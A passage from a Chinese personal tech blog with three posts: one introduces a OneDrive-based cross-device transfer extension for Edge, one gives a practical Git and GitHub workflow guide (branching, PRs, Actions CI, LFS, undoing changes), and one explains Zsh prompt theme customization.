Z1gg7x's Blog

OneDrop：基于 OneDrive 的跨设备传输工具

Sun, 20 Sep 2026 20:36:17 +0800

OneDrop 是我做的一个跨设备传输工具，通过用户自己的 OneDrive 在设备之间传递文本和文件。
本文整理一下做它的原因、各个平台的发布情况，以及后续的计划。
实现细节方面的内容，就后面再补充。

# 为什么做 OneDrop

我是 Edge 的重度用户，每台设备都会安装 Edge 浏览器，毕竟是 Windows 电脑自带的，用习惯了。所以即使到了 Mac 和移动端环境，我也会额外安装 Edge 作为默认浏览器。

以前 Edge 自带的 Drop 是我最主要的跨设备传输方式，使用得很频繁。
但后来新版 Edge 移除了这个功能，我便想自己做一个工具，把原来的使用习惯延续下来。

当然，微信等聊天应用也能传文件，专门做多端传输的工具也不少。
但对我来说，大部分需要使用 Drop 的场景，只是临时传一段文字、链接或一个附件，如果还要另外打开一个 App，总觉得多了一步，不太舒服。
而如果入口就在我常用的，且大概率已经打开的 Edge 里，那就是顺手就能完成的事情，不需要专门切换过去。

所以 OneDrop 最初的目标很简单：让自己继续在浏览器里完成这些临时传递。

# 为什么选择 OneDrive

另一个考虑是不想自己搭服务器。
只是为了在自己的设备间传些东西，还要承担服务器的费用和日常管理，对我来说没有必要。

既然主要在 Edge 中使用，沿用 Microsoft 账户和 OneDrive 就比较自然。
何况，大部分的 Edge 用户自然会创建自己的 Microsoft 账户。

因此，OneDrop 就使用自己的 Microsoft 账户登录，文本和文件存放在自己的 OneDrive 中，也不需要另外维护一套存储服务。

Microsoft 账户提供的免费云存储空间是 5 GB，不过这部分容量会与账户中的其他内容共享，并不是全部留给 OneDrop。
以我临时传递文字和少量文件的用途来看，通常已经够用；如果 OneDrive 本身存了很多东西，使用前还是要留意剩余空间。

# 目前的使用效果

OneDrop 的主要界面采用消息列表的形式，文本和文件放在同一个入口里。
在桌面 Edge 中打开扩展，就可以在侧栏中使用，不需要离开当前网页再打开一个独立应用。

我希望保留下来的就是这种简单的使用方式：有内容需要带到另一台设备时，先发到这里，再从另一台设备取用。

历史消息的功能肯定是支持的，消息的长期存档也是这个工具的重要功能，毕竟功能上会尽量对标 Drop。

像上一节中提到的，OneDrive 的 5GB 免费空间可能不够用。
因此，OneDrop 也提供了删除和回收站，方便整理已经用完的消息。
需要的记录可以继续保留，不再需要的可以选择性地删除。

注意，消息区的删除只是删除消息记录，并不等于马上释放空间。要想彻底删除，还要去回收站清理。

# 目前的发布情况

桌面端已经在 Edge 扩展商店上线，可以直接从商店安装。

移动端暂时没有这么方便。
Edge 提供了移动端插件的上架方式，可是出于各种不知名的原因，虽然 Android 和 iOS 的移动扩展申请表都已经提交，但我目前还没有收到任何回复。
因此还不能按桌面端的方式从商店安装。

如果想提前使用，可以从 GitHub Release 下载 CRX 扩展包，不过需要对应的测试版浏览器和开发模式：Android 使用 Edge Canary，iOS 使用 Edge 的 TestFlight 版本。
具体入口整理在安装说明中，普通稳定版 Edge 不能直接照搬这条安装路径。

iOS 还提供了原生应用的 IPA 包，作为浏览器扩展之外的另一种使用方式。
这个包需要导入 LiveContainer，不能下载后直接点开安装，也不是 App Store 版本。
选择这条路径之前，需要先配置好 LiveContainer。

# 目前的不足与后续打算

目前最明显的问题还是移动端的使用门槛。
桌面端已经有商店入口，而手机上无论是测试版浏览器，还是 LiveContainer，都需要额外准备。
对于一个本来想减少操作的工具来说，这部分还不够方便。

后续我会继续关注移动扩展的申请进度，也有考虑给 Android 也增加一个独立应用，但目前还没有确定的时间安排。

OneDrop 会继续围绕设备之间的临时传递来完善，把发送、查看和清理这些基本操作做好。
项目代码放在 GitHub，有类似使用习惯的话，可以先看看安装条件，再决定是否适合自己。

目前已经更新到 1.0.3，大部分功能已经完善，并进行过初步测试。
使用时如果遇到问题，欢迎在评论区或 GitHub Issues 中提出。

Git 与 GitHub 项目管理

Thu, 21 May 2026 21:27:18 +0800

Git 负责记录版本，GitHub 则提供仓库托管、问题讨论和代码审查。知道如何使用它们是必备的技能。
把代码推上去只是其中一步，后面还会遇到分支怎么分、提交怎么拆、什么时候合并，以及怎样自动检查和发布。
这里，本文将按照进行一次改动并提交到项目中的过程，把这些事情整理一下。

# 整理仓库

# README 应该写些什么

打开一个项目，首先需要知道它是做什么的、现在做到了什么程度，以及怎样运行。README 需要先把这几件事说清楚，再提供详细文档的入口。

比较实用的顺序是：项目介绍、效果展示、主要功能、安装或运行方法，最后放贡献方式和许可说明。有界面的项目附一张实际截图，会比一长串功能名称直观。环境要求和启动命令也要留全，让读者能够跟着指导安装依赖并运行项目。

以我的一个仓库为例（DungeonTavern），开头先说明项目内容并提供文档入口，接着用场景图展示实际界面，再介绍已有功能。需要运行项目时，可以继续查看后面的启动说明。README 不必把所有设计细节都塞进去，长篇说明可以单独放到文档里，再从这里链接过去。仓库内的文档和图片建议使用相对路径，切换分支或下载源码后也比较方便。

# 说明使用和贡献方式

许可证（LICENSE）用来说明项目允许怎样使用；
CONTRIBUTING.md 则说明如何准备环境、验证改动和提交贡献。
这两者可以从 README 提供入口，方便使用者和贡献者查找。

如果希望提交问题和 PR 时提供相同的信息，可以再添加 Issue、PR 模板。
例如，Issue 模板可以要求填写复现步骤，PR 模板可以要求说明改动和验证结果。

# 排除不需要提交的文件

.gitignore 用来排除不需要跟踪的文件。比如 Node.js 应用中常见的依赖目录、构建结果和本地环境配置：

	node_modules/
	dist/
	.env
	.env.*
	!.env.example

这里的 .env.example 为 .env 的示例文档，应当只保留变量名称和示例值，实际密码或令牌不要填进去。 dist/ 是否忽略则取决于项目如何分发，有些仓库确实需要跟踪构建结果，不能直接套用。

已经被 Git 跟踪的文件，不会因为后来加入 .gitignore 就停止跟踪。如果确认其需要移出版本管理，并保留本地文件，可以执行：

git rm --cached .env

这个命令不会清除历史提交里的内容。如果曾经提交了密钥，仍然需要撤销或轮换密钥，不能只删除当前文件。

# 为改动创建分支

开始修改前，先确认工作区没有未处理的内容，再从更新后的主分支创建工作分支。下面假设主分支叫 main ，远端叫 origin ：

	git status
	git switch main
	git pull --ff-only origin main
	git switch -c fix/category-wrap

--ff-only 只允许快进更新。如果本地和远端已经各自产生了提交，它会停下来，方便先看清分歧再处理。

分支名称能说明改动目的就可以，例如 fix/category-wrap 、 feat/search 。
一次工作尽量围绕一个问题展开，如果修复分类显示时顺手改了发布脚本，最好把此更改拆出去。这样审查、撤销和查找历史都会容易一些。

对于持续维护主分支的小项目，短期工作分支通常已经够用；需要同时维护多个版本时，再考虑版本分支。

# 同步主分支的改动

工作还没完成，主分支可能已经更新。同步前先提交本地的当前修改，或用 git stash 临时保存，确认工作区和暂存区干净后，再获取远端信息：

git fetch origin

然后根据项目约定，选择 merge 或 rebase。下面两条是不同的处理方式，不要依次执行：

	# 在当前工作分支中合入主分支
	git merge origin/main

	# 或者，把当前工作分支的提交重放到新的主分支之后
	git rebase origin/main

merge 保留原有提交；分支已经分叉时，会通过合并提交连接两段历史。rebase 则把自己的改动逐个应用到新基点上，对应提交的标识会改变。

选择时主要看两件事：是否需要保留已有提交，以及这些提交有没有被其他人使用。

当前情况	建议方式	原因或限制
多人共同使用工作分支，或别人已经基于这些提交继续开发	优先 merge	保留已有提交标识，协作者不需要因为同步主分支而重新处理自己的历史
工作分支只在本地，想把改动整理到最新主分支之后	可以 rebase	提交尚未共享，改写不会影响其他人的分支
工作分支已推送，但只有自己使用	按仓库约定选择	rebase 会改写已推送提交，后续更新远端通常需要强推；确认没有其他人依赖原提交后再使用
目标分支要求线性历史	不能向它推送 merge commit	可以选择符合规则的 rebase 或 squash；快进合并不会产生 merge commit，不受这一条限制

merge 的限制，是仓库约定不允许产生合并提交。rebase 的主要限制则是改写历史：没有与协作者协调好时，不要对共享分支执行，也不要为了同步就重写公共主分支。

后面选择 PR 合并方式这一节中，也涉及 merge 和 rebase，两处使用的原理相通，但操作的阶段和目标不同。

遇到冲突时，先修改冲突文件，再用 git add 标记已解决。
修复冲突后，merge 可以继续提交；rebase 使用 git rebase --continue 。
如果想回到本次操作之前，分别使用 git merge --abort 或 git rebase --abort 。

如果前面使用了 git stash ，同步完成后再用 git stash pop ，就能恢复本地的修改。用 stash 恢复时也可能需要解决冲突。
恢复完成后，最好要运行相关检查，因为文本能合并不代表程序行为一定正确。

# 把改动整理成提交

提交之前，先看自己到底改了什么：

	git status
	git diff
	git add -p
	git diff --cached

git diff 查看尚未暂存的修改； git diff --cached 查看将要提交的内容。 git add -p 可以按修改块暂存，同一个文件里有两项无关改动时也能分开处理。新建文件则根据 git status 的结果单独添加。

一次提交可以包含实现、测试和必要文档，只要它们共同完成同一件事。不需要按文件机械拆分，也不要把调试文件、批量格式化和实际功能混成一包，否则进行回退等操作就会非常麻烦。

面向公开协作的项目，提交说明用英文更方便不同语言的贡献者阅读；如果仓库已有语言约定，就与现有提交保持一致。英文不是 Git 的要求。

提交说明的第一行直接说改了什么，需要解释原因时再补正文。例如：

	Fix wrapping of long category titles on mobile

	Allow titles to wrap within the text column instead of moving
	below the date.

确认暂存内容后，执行 git commit ，在编辑器中填写提交说明。

相比 update 或 fix bug ，这样的说明在历史列表里就能看懂。Git 项目的贡献规范也强调按逻辑组织改动，并交代修改的理由。

feat: 、 fix: 这类前缀可以作为团队约定，也方便配合自动生成版本说明，但不是所有项目都必须使用。重要的是含义明确、同一仓库保持一致。

如果刚提交完发现漏了相关修改，而且提交还没有共享，可以补入暂存区后执行：

git commit --amend

这会替换最近一次提交。已经被别人使用的提交，不要仅为了整理说明就随意改写，补一个后续提交往往更省事。

# 提交 PR 并完成合并

改动准备好后，推送工作分支：

git push -u origin fix/category-wrap

在 GitHub 创建 Pull Request，确认目标分支和来源分支，再写清楚问题、改动和验证结果。比如：

	## 改动
	修复手机端分类长标题换行后挤开日期的问题。

	## 验证
	- 检查长标题和短标题的排列。
	- 检查桌面与窄屏下的分类跳转。

	Closes #42

这是说明格式的示例，验证项要按实际完成的检查填写。使用 Closes #42 关联并关闭 Issue 时，也要确认编号对应本次解决的问题。

还没完成但希望先讨论方向，可以创建 Draft PR。
审查时除了代码本身，也应关注是否改变了原有行为、边界情况有没有覆盖，以及说明中的检查是否真实完成。
如果还需要修改，应该继续推送到同一个工作分支，PR 会更新，不必为每轮修改重新开一个。

VS Code 的贡献指南要求 PR 聚焦问题、避免无关格式化。这一点很值得借鉴：改动越集中，审查者越容易判断它是否正确。

# 选择合并方式

前面同步主分支的改动，是在开发过程中更新工作分支。PR 审查完成后，这里决定的是如何把工作分支的结果加入主分支。

本地使用过 rebase，不代表 PR 也必须选择 Rebase and merge；本地通过 merge 同步过主分支，PR 最后也可以 squash。同步方式负责让开发基于最新代码，PR 合并方式决定主分支最终保留怎样的历史。

GitHub 常见的三种合并方式如下：

方式	合并后的历史	适合的情况
Create a merge commit	保留分支提交，并增加合并提交	希望保留完整分支关系
Squash and merge	将 PR 改动合成一个新提交	中间提交主要是修修补补，整体是一项改动
Rebase and merge	将 PR 提交逐个加入目标分支，不增加合并提交	提交本身已经整理好，希望保留每一步

GitHub 的 Rebase and merge 会为各个提交生成新的标识；Create a merge commit 则保留原提交，另外增加一个合并提交。选择哪一种方式，按仓库约定保持一致即可。

# 合并后的分支清理

确认合并后，可以删除 GitHub 上的工作分支，并更新本地主分支。

这里详细说一下 Squash and merge 和 Create a merge commit 的区别。
squash 会把改动汇总成一个新提交，例如，工作分支有 A、B、C 三次提交，主分支得到的是新的 S，历史中并没有直接包含 A、B、C；而使用 GitHub 的 Create a merge commit 时，主分支会保留 A、B、C，并新增合并提交 M。

使用 git branch -d 删除本地分支时，Git 会先检查它是否已合入所跟踪的上游分支；没有设置上游时，则检查是否已合入当前分支。这个判断依据提交的祖先关系，不比较改动内容。
因此，squash 后即使代码已经进入主分支，删除本地分支时仍可能提示 not fully merged 。

所以，遇到这种提示时，要先核对 PR 是否已经合并，并确认工作分支在此后没有新增未合入的提交。
确认分支中的工作都已保留后，再删除本地分支：

	git switch main
	git branch -D fix/category-wrap

这里的 -D 跳过合并状态检查，删除的是本地分支引用，不会撤销主分支上的 squash 提交。
（注意区分 -d 和 -D ）

# 用 GitHub Actions 自动检查和发布

PR 中反复要做的构建和测试，可以交给 GitHub Actions。这样每次更新代码后都有检查结果，也方便审查者查看失败原因。

# CI/CD

CI/CD 描述的是代码从集成到交付的开发流程，GitHub Actions 则是实现这些流程的自动化平台。

CI（Continuous Integration，持续集成）：频繁集成代码，并通过自动构建、测试等检查尽早发现问题。比如，每次提交 PR 都检查能否构建、测试是否通过。
持续交付（Continuous Delivery）：在检查之后继续完成打包等准备，让版本保持可以发布的状态；是否正式发布，可以由人决定。
持续部署（Continuous Deployment）：将通过检查的改动自动部署到生产环境，流程中不再保留人工批准发布这一步。

它们不是某条固定的命令，也不是几个特定的 action。实际执行的 npm test 、构建、上传产物和部署命令，才是组成这些流程的具体步骤。

在 Actions 中，把步骤组织成 workflow，再指定何时触发，就能实现相应的 CI/CD 流程。当然 Actions 也可以用于自动添加标签等仓库管理任务，范围不限于 CI/CD。

# 添加检查工作流

工作流文件放在 .github/workflows/ 下。一个 workflow 可以由 PR、推送或手动操作等事件触发，里面包含一个或多个 job；每个 job 在 runner 上执行，其中的 step 按顺序运行命令或调用 action。不同 job 可以通过 needs 设置依赖。

下面以 Node.js 应用为例。
假设项目使用 Node.js 24，已经提交 package-lock.json ，并且 package.json 中有可在 CI 环境运行的 test 和 build 脚本。
创建 .github/workflows/ci.yml ：

	name: CI

	on:
	pull_request:
	branches: [main]
	push:
	branches: [main]
	workflow_dispatch:

	permissions:
	contents: read

	jobs:
	check:
	runs-on: ubuntu-latest
	steps:
	- uses: actions/checkout@v6
	- uses: actions/setup-node@v6
	with:
	node-version: '24'
	cache: npm
	- run: npm ci
	- run: npm test
	- run: npm run build

这个配置只负责检查，不会发布应用。PR 分支更新时会执行，合入 main 后也会检查； workflow_dispatch 提供手动触发入口，工作流需先存在于默认分支才能使用这个入口。

npm ci 按锁文件安装依赖；没有测试脚本时，将此处替换为项目实际使用的检查命令。
需要严格固定依赖时，可以将 action 固定到经过核对的完整提交 SHA。

进入仓库的 Actions 页面，可以按一次运行查看 job 和 step 日志。排查时先找到失败的步骤，再看报错前后的上下文，确定是安装依赖、测试还是构建出了问题。

下图是我的 OneDrop 项目中，一次实际 CI 运行的部分步骤列表，包含格式检查、TypeScript 编译、测试和两个构建目标。它比上面的最小示例多了项目自身需要的检查。

# 缓存、产物与发布

上述示例中的 cache: npm ，用来复用 npm 的依赖缓存，减少重复下载，仍然需要执行 npm ci 。它不会直接缓存 node_modules 。

构建出来的安装包、测试报告则属于 artifact，上传后可以供后续任务使用或下载检查。缓存用于加快执行，产物用于保留执行结果，两者不要混用。

发布可以另建一个工作流，根据项目选择 tag 推送、Release 发布或手动操作作为入口。
需要人工确认时，可以通过部署环境的保护规则设置审批；具体能力取决于仓库类型和所用方案。

检查工作流只需要读取代码。因此，上述 CI 示例中将权限设为 contents: read 。只有确实需要写入 Release 或部署的任务才添加相应权限。令牌等敏感配置放到 Secrets，避免写进 YAML。

来自外部 Fork 的 PR 默认受令牌和 Secrets 限制，不应为了让它拿到发布权限就改成高权限执行。尤其不要在 pull_request_target 这类拥有目标仓库权限的流程中，直接检出并执行不受信任的 PR 代码。

# 保护主分支

流程确定之后，可以通过仓库规则减少误操作。经典的分支保护规则和 Rulesets 都能约束分支；Rulesets 可以组合多组规则，也能与现有分支保护共同生效。

下面按 GitHub Rulesets 中的英文名称说明常用规则；经典分支保护页面的名称和选项组织方式略有不同。

规则或选项	用途
Require a pull request before merging	要求改动通过 PR 合入目标分支
Require status checks to pass	要求指定的状态检查通过，例如前面的 CI
Required approvals	位于 PR 规则下，设置合并前需要的批准数量
Block force pushes	阻止强制推送，保护已有提交历史
Restrict deletions	限制删除受保护的分支

如果还希望主分支不出现 merge commit，可以启用 Require linear history。这时 PR 应使用 squash 或 rebase 合并，与前面的合并方式选择对应。规则的具体含义可查阅 GitHub Rulesets 文档。

设置状态检查时，先让对应工作流实际运行一次，再选择正确的检查名称。
如果检查被路径过滤等条件跳过，还要确认它不会让 PR 一直等待。不要要求一个实际上不会出现的检查。

个人项目可以保留 PR 和 CI 相关的保护规则，不用设置无法完成的审查人数。
多人项目再按需要增加审批或代码负责人审查。
还要结合仓库设置确认功能的可用范围和允许绕过规则的权限，才能判断哪些推送会受到限制。

# 通过 Fork 参与其他项目

有仓库写入权限时，可以直接推送工作分支；没有权限时，通常先 Fork 到自己的账号，再在自己的仓库里修改并提交 PR。
Fork 是 GitHub 上的仓库关系，clone 则是把仓库下载到本地，两者不是同一件事。

clone 自己的 Fork 后， origin 通常指向自己的仓库。为了获取原项目的更新，还需要添加一个指向原项目的远端，这里将它命名为 upstream 。 origin 和 upstream 都是远端名称，不是 Git 强制规定的角色。

下面 URL 中的 OWNER 、 REPOSITORY ，分别替换为原项目的所有者名称和仓库名称，不要填成自己的 Fork。若已经配置过 upstream ，检查地址正确后即可跳过添加命令。

	git remote -v
	git remote add upstream https://github.com/OWNER/REPOSITORY.git

接下来同步主分支。这里采用的方式是： main 只跟随原项目，自己的修改放在工作分支中。先处理未提交修改，再依次同步自己的远端和原项目：

	git fetch origin
	git fetch upstream
	git switch main
	git merge --ff-only origin/main
	git merge --ff-only upstream/main
	git push origin main
	git switch -c fix/category-wrap

两次 --ff-only 都要求当前分支能够直接向前更新。如果本地 main 、Fork 的 main 或原项目主分支之间存在各自独有的提交，操作就可能停止。此时先查看分歧中的提交，决定保留哪些改动，再按前面介绍的 merge/rebase 方式处理；强推会改写远端历史，不能用来跳过这个判断。

同步完成后，在新建的工作分支中修改，推送到自己 Fork 的 origin ，再向原项目要求的目标分支创建 PR。

提交前先看原项目的贡献说明，确认目标分支、测试要求以及是否需要先讨论 Issue。
自己的习惯可以调整，但项目已经约定的流程需要遵守。

# 用 Git LFS 管理大文件

源文件中的大图片、模型或音频，可能需要和代码一起维护，但不适合让普通 Git 历史不断积累完整二进制版本。
Git LFS 会让 Git 仓库记录较小的指针文件，实际内容存放在 LFS 存储中，使用时再获取。
GitHub 会拒绝推送超过 100 MiB 的普通 Git 文件；需要跟踪这类文件时，可以使用 Git LFS。

使用 Git LFS 之前，先要区分文件的用途：开发必需、需要跟踪版本的二进制资源可以考虑 LFS；构建缓存通常忽略；供用户下载的安装包则更适合放到 Release。
并不是所有体积大的文件都要加入 LFS。

安装 Git LFS 后，在仓库中初始化并添加规则。下面以尚未被普通 Git 跟踪的 PSD 文件为例：

	git lfs install
	git lfs track "*.psd"
	git add .gitattributes
	git add assets/example.psd
	git commit -m "Track PSD assets with Git LFS"
	git lfs ls-files

git lfs track 将规则写入 .gitattributes ，这个文件也要一起提交，协作者才能使用相同的规则。
通过 git lfs ls-files 检查目标文件是否已经由 LFS 管理，再继续推送提交。

项目的协作者也需要安装 Git LFS。
如果拿到的文件只有几行指针文本，可以在仓库里执行 git lfs pull 获取实际内容。

如果给已经提交过的大文件补一条跟踪规则，不会自动缩小旧历史。
历史迁移会涉及提交改写和协作者同步，应单独备份、确认范围后处理，不要为了清理体积直接在共享仓库里重写。

LFS 的存储和下载额度也需要留意，选择前查看账号当前的计费规则即可。

# 标记版本

tag 用来标记某个版本位置。确认当前提交就是要发布的版本后，可以创建附注标签并单独推送：

	git tag -a v1.0.0 -m "Release v1.0.0"
	git push origin v1.0.0

GitHub Release 基于 tag，再附上版本说明和可下载的文件。
版本说明适合写用户能感知的变化、修复的问题和必要的升级事项，安装包则作为附件提供。
Release 自动生成的源码压缩包不等于已经构建好的程序。

# 撤销改动

撤销前先执行 git status 和 git diff ，确认需要保留哪些内容。下面几个动作的影响并不相同：

情况	操作	结果
文件已暂存，想重新选择提交内容	`git restore --staged path/to/file`	取消暂存，保留工作区修改
确认不要某个已跟踪文件尚未暂存的修改	`git restore path/to/file`	用暂存区版本恢复工作区，丢弃这部分修改
最近一次本地提交尚未共享，想重新组织	`git reset --soft HEAD~1`	撤回提交，保留修改在暂存区
已经合入公共分支，需要撤销一项普通提交	`git revert COMMIT`	新增一个反向提交，保留原历史

reset 不同选项的影响不同：默认的 --mixed 会同时重置暂存区，但保留工作区； --hard 还会覆盖工作区中的相关修改，使用前需要确认这些修改是否要保留。
revert 也可能产生冲突，撤销合并提交还涉及主线选择，需要单独判断。

公共分支上的修复和撤销同样可以通过工作分支、PR 和检查完成。

Zsh 终端主题定制

Wed, 18 Feb 2026 16:19:45 +0800

本文记录一下我目前自用的终端主题样式。
Oh My Zsh 是一个管理 Zsh 配置的框架，提供了主题、插件和一些常用配置。
我最初是为了美化终端，才选择了 Zsh 和 Oh My Zsh 这套方案。

虽然官方提供的主题样式很多，但我尝试之后，总觉得大部分太花哨，简洁一些的又不太符合我的审美，所以最终还是自己设计了一个自用的终端主题。

后面我将从现有配置开始，把自定义主题的方法、主题配置中常用的提示符，以及我正在使用的插件整理一下。

# 当前效果

主题本身只有六行：

	PROMPT="%{$fg[cyan]%}%c%{$reset_color%}"
	PROMPT+=' $(git_prompt_info)%(?:%{$fg_bold[green]%}%1{%} :%{$fg_bold[red]%}%1{%} )'
	ZSH_THEME_GIT_PROMPT_PREFIX="%{$fg_bold[blue]%}git:(%{$fg[red]%}"
	ZSH_THEME_GIT_PROMPT_SUFFIX="%{$reset_color%} "
	ZSH_THEME_GIT_PROMPT_DIRTY="%{$fg[blue]%})"
	ZSH_THEME_GIT_PROMPT_CLEAN="%{$fg[blue]%})"

第一行显示当前目录的末一级；第二行接上 Git 信息和状态符号。
后四行规定 Git 信息的前缀、后缀，以及工作区干净或有改动时显示的内容。
这里我把 DIRTY 和 CLEAN 写得一样，所以这个主题只显示分支，不区分工作区是否有改动。

# 配置自定义主题

Oh My Zsh 的自定义规范允许把主题放在 $ZSH_CUSTOM/themes 中。
这样自己的配置有独立文件，后续查找和修改都方便。

默认安装下，自定义的主题文件放在： ~/.oh-my-zsh/custom/themes 目录下，以 .zsh-theme 结尾。

新建主题时，要先准备目录。如果设置过环境变量 ZSH_CUSTOM ，可以使用自己设置的目录：

mkdir -p "${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes"

把前面的六行配置保存为该目录下的 sycamore-simple.zsh-theme 文件，然后再修改 ~/.zshrc 中已有的主题设置，这里的主题名称不带 .zsh-theme 后缀。
以我自用的主题为例，如下图所示：

这行配置应放在 source $ZSH/oh-my-zsh.sh 之前，由 Oh My Zsh 初始化时加载。

保存后记得打开一个新终端检查效果。

# 主题配置详解

这一节主要解释提示符中的配置项。
如果暂时不想逐项了解，可以直接跳到下一节常用实例演示，简单看看效果后，再回来查找更复杂的写法。

# 谁负责显示

在解释具体的可配置项之前，先要说明白是什么在负责显示。
ZSH_THEME 负责让 Oh My Zsh 找到主题文件， git_prompt_info 是它提供的辅助函数。
而真正决定提示符内容的是 Zsh 的变量和提示符展开语法。

变量	用途
`PROMPT` / `PS1`	每次等待输入时的主提示符，两者是同一参数的名称
`RPROMPT` / `RPS1`	编辑命令行时的右侧提示符
`PS2` / `PROMPT2`	引号、循环等输入尚未结束时的续行提示符
`RPS2`	续行时的右侧提示符
`PS3`	`select` 选择菜单的提示符
`PS4`	开启执行跟踪时，每条跟踪记录的前缀

大部分主题主要调整前两项，其他变量可以根据需要配置。
比如命令还没输入完整时， PS2 可以提示还缺少哪部分； PS3 用于选择菜单； PS4 则更适合调试脚本。

下面列几个简单的配置例子：

	PS2='%_> '
	PS3='请选择编号：'
	PS4='+%N:%i> '

PS2 中的 %_ 会显示尚未结束的语法结构，例如引号或循环。按回车后出现这个提示，说明命令还需要继续输入。
PS3 会出现在 select 循环的选择提示中，不影响普通命令输入。
PS4 中的 %N 和 %i 分别显示当前脚本或函数等结构的名称及其中的行号，运行 set -x 后就能在执行跟踪中看到；调试结束后，用 set +x 关闭。

# 提示符的可配置内容

Zsh 会在显示提示符时展开 % 序列，下面按用途梳理官方提示符的配置项：
（这里的内容仅包含提示符，不是 Zsh 的全部参数，具体定义可查 Zsh 提示符文档）

类别	写法	显示内容
目录	`%c`	当前目录末一级，家目录可缩写
目录	`%~`	完整路径，家目录等可缩写为 `~`
目录	`%/` 、 `%d`	不缩写家目录的完整路径
身份	`%n` 、 `%m` 、 `%M`	用户名、短主机名、完整主机名
终端	`%l` 、 `%y`	当前终端名称，前缀处理有所不同
状态	`%?` 、 `%j` 、 `%L`	上条命令退出码、作业数、Shell 层级
权限	`%#`	有特权时显示 `#` ，否则显示 `%`
历史	`%h` 、 `%!`	当前历史事件编号
时间	`%T` 、 `%*`	24 小时制时分、时分秒
日期	`%D{%Y-%m-%d}`	按指定格式显示日期
样式	`%F{cyan}` 、 `%f`	设置、恢复前景色
样式	`%K{black}` 、 `%k`	设置、恢复背景色
样式	`%B` / `%b` 、 `%U` / `%u`	开关粗体、下划线
样式	`%S` / `%s`	开关突出显示模式
字面量	`%%` 、 `%)`	显示百分号、右括号

目录序列前还可以加数字。例如 %2~ 保留末尾两级，适合既想知道项目名，又不想让路径占满一行的情况。

续行和调试提示符中常用的 %_ 、 %N 、 %i ，前一节已经结合 PS2 和 PS4 说明。
其他相关写法还有 %^ （按相反顺序显示未结束的语法结构）、 %x 和 %I （代码定义所在的文件及行号），以及 %e （求值深度），需要时可以再查阅官方文档。

需要把提示符分成两行时，可以在字符串中直接换行，或拼接 $'\n' 。
普通单引号中的 \n 只是两个字符，不会自动变成换行。

日期与时间还可以按下面的格式显示：

写法	内容
`%t` 、 `%@`	带 am/pm 的 12 小时制时间
`%D` 、 `%w` 、 `%W`	分别为两位年 - 月 - 日、星期缩写 - 日、月 / 日 / 两位年
`%D{格式}`	交给 `strftime` 格式化；例如 `%Y` 四位年、 `%m` 月、 `%d` 日、 `%H:%M:%S` 时分秒

花括号内有一套日期格式，不能与外层提示符代码混用。
Zsh 在这里补充了不带前导零的 %f （日）、 %K （24 小时）、 %L （12 小时），以及小数秒 %. ；
%6. 请求六位小数， %9. 或 %N 请求九位，实际精度取决于系统时钟。
%-d 等写法可去掉前导零或空格，其他格式扩展是否可用由系统支持决定。

还有几项与显示有关的写法，可以分开理解：

%E ：清除光标右侧直到行尾的内容。
%{...%} ：把颜色控制码等不占字符宽度的内容包起来，避免 Zsh 把它们算进提示符长度。它不是用来包住普通文字的。
%G ：在 %{...%} 内补充字符宽度。例如图标实际占一格，可以用 %G 告诉 Zsh；占两格则用 %2G 。

目录还有几种旧写法： %c 和 %. 显示路径末一级， %C 类似，但不会把家目录换成 ~ 。
官方在线手册已不推荐这几种写法。新写主题时，可以用 %1~ 代替 %c 、 %. ，用 %1/ 代替 %C 。
前面展示的是我现有的主题代码，所以仍保留了 %c 。

如果需要把自己计算的文字交给提示符，也可以使用 psvar 数组： %v 读取第一项， %2v 读取第二项，负数下标从末尾计数。
例如先设置 psvar=(demo) ，提示符中的 %v 就显示 demo 。
这个方法让函数先更新值，再让提示符负责排版。

# 根据条件改变显示内容

以我自用的主题为例，主题文件第二行中的 %(?:成功内容:失败内容) 是条件展开：
上条命令成功时使用前一段，否则使用后一段。
因此，最后的绿色或红色符号反映的是上一条命令的退出状态。

如果想看到实际退出码，可以把 %? 加到提示符中。

在 %(?:成功内容:失败内容) 中， ? 表示检查退出状态，两个 : 分别隔开条件、成功时的内容和失败时的内容。
这里的 : 就是分隔符。也可以同时换成点号，写成 %(?.成功内容.失败内容) ，效果相同；不能只改其中一个。

所以，一般形式可以写成 %(条件.成立内容.不成立内容) 。
需要给条件指定一个比较值时，可以在左括号前或后加数字 n ，省略时为零。除了退出状态，还能判断这些信息：

条件字符	成立条件
`!`	当前 Shell 具有特权
`#` 、 `g`	有效用户 ID、有效组 ID 等于 `n`
`?`	上条命令退出码等于 `n`
`_`	已开始的 Shell 语法结构至少有 `n` 个
`/` 、 `C`	绝对路径至少有 `n` 层，根目录算零层
`c` 、 `.` 、 `~`	做过家目录或命名目录替换后的路径至少有 `n` 层
`D` 、 `d` 、 `w`	月份、日期、星期等于 `n` ；月份从零计，星期日为零
`T` 、 `t`	当前小时、分钟等于 `n`
`e` 、 `j` 、 `L`	求值深度、作业数、Shell 层级至少为 `n`
`S`	`SECONDS` 至少为 `n` ，它不是上一条命令的耗时
`v` 、 `V`	`psvar` 至少有 `n` 项；或第 `n` 项已设置且非空
`l`	当前行已输出至少 `n` 个字符；负数时判断到对侧边缘至少还剩多少格

例如 %(!.#.>) 会在有特权时显示 # ，否则显示 > ，这里使用的是点号分隔。
如果成立时要显示的文字本身包含点号，就应该改用其他分隔符，以免 Zsh 提前把这段文字判断为结束。分支里需要显示右括号时，可以写 %) 。
条件也可以嵌套。除 l 的剩余宽度用法外，负数条件参数按绝对值处理。

# 显示动态信息

Git 分支会随着切换分支而变化，所以不能只在加载主题时读取一次。
我在主题第二行写了 $(git_prompt_info) ，让提示符每次显示时都调用这个函数，把返回的分支信息放到对应位置。
这种把命令输出放进字符串的写法，叫作命令替换。

要让提示符支持这种写法，需要开启 PROMPT_SUBST ：

setopt PROMPT_SUBST

Oh My Zsh 已经开启了这个选项，使用它时一般不需要重复设置。
如果脱离 Oh My Zsh 单独测试，就需要自己开启；前面主题中的颜色变量和 git_prompt_info 函数仍然需要 Oh My Zsh 提供。

还要注意引号的区别：

	# 设置时保留函数调用，每次显示提示符时再执行
	PROMPT='$(git_prompt_info) '

	# 设置时立即执行函数，保存这一次返回的结果
	PROMPT="$(git_prompt_info) "

因此，我在自用主题的第二行使用了单引号。
后面显示电量和 Python 环境的例子，也采用相同的方式。

# 常用实例演示

下面的例子都基于前面 自用主题 的内容，每次只修改其中一项，方便对比效果。

# 显示完整路径

如果想显示完整目录，可以把主题的第一行替换为：

PROMPT="%{$fg[cyan]%}%/%{$reset_color%}"

如果希望 home 目录缩写为 ~ ，就把 %/ 换成 %~ 。两种写法都保留目录层级，只是 home 目录的表达不同。

# 显示用户名

